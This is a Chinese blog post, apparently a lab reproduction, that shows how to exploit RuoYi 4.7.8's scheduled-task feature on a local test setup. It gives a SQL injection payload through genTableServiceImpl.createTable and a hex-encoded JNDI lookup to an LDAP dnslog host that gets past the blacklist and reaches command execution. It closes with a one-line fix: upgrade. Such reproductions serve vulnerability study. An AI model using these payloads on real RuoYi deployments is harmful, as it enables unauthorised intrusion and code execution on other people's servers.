0x00 背景
最近项目中发现很多单位都使用了若依二开的系统，而最近若依有个后台计划任务rce的漏洞，比较新，我还没复现过，于是本地搭建一个若依环境复现一下这个漏洞。 这个漏洞在4.7.8版本及之前都存在，现在最新版的若依也只更新到了4.7.9版本。
0x01环境搭建
下载若依4.7.8版本 https://gitee.com/y_project/RuoYi/releases
开启phpstudy中的mysql
新建数据库ry,并导入若依的sql文件
sql文件在RuoYi-v4.7.8sql
在IDEA中打开RuoYi项目文件 找到配置数据库的地方，修改数据库地址、账号和密码 !在这里插入图片描述(https://img-blog.csdnimg.cn/direct/3be99856a6f34cd78305eca10cd5ef36.png)
java和maven之前配置过，这里就不用再配置了
尝试运行，启动成功
访问127.0.0.1 ，成功进入若依系统
0x02漏洞复现
因为计划任务的漏洞属于后台漏洞，所以在真实渗透需要弱口令等方式进入后台才能利用。 我这里模拟弱口令的场景下，直接进入到后台进行漏洞复现。 进入后台，找到定时任务功能点 !在这里插入图片描述(https://img-blog.csdnimg.cn/direct/fddab001733b4e089400717ebb0ba991.png)
漏洞1：计划任务sql注入：
添加计划任务 payload
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By xiao' WHERE job_id = 1;')
点击启用任务，发现payload中的sql语句以及被执行，作用是修改id为1的计划任务的值为'Hack By xiao'
计划任务sql注入复现成功
漏洞2：计划任务命令执行：
看大佬的漏洞分析中说JobInvokeUtil在调用过程中不允许在字符串中使用括号，因此将原始作业表中特定作业的参数值修改为十六进制（绕过防御检测），从而达到命令执行的效果。 使用dnslog进行验证漏洞 payload：
javax.naming.InitialContext.lookup('ldap://xiao.dwph71.dnslog.cn')将上面的payload进行十六进制编码：
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F7869616F2E6477706837312E646E736C6F672E636E2729将编码后的payload带入下面的payload中：
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F7869616F2E6477706837312E646E736C6F672E636E2729 WHERE job_id = 2;')上面payload的作用是利用之前的sql注入漏洞，修改job_id为2的计划任务内容，将该计划任务执行的命令改为我们构造好的payload。
dnslog收到回显，证明漏洞存在
漏洞绕过的原因： 在添加 SQL 定时任务时，可以通过 16 进制转换绕过黑名单检测
修复方式
升级到最新版本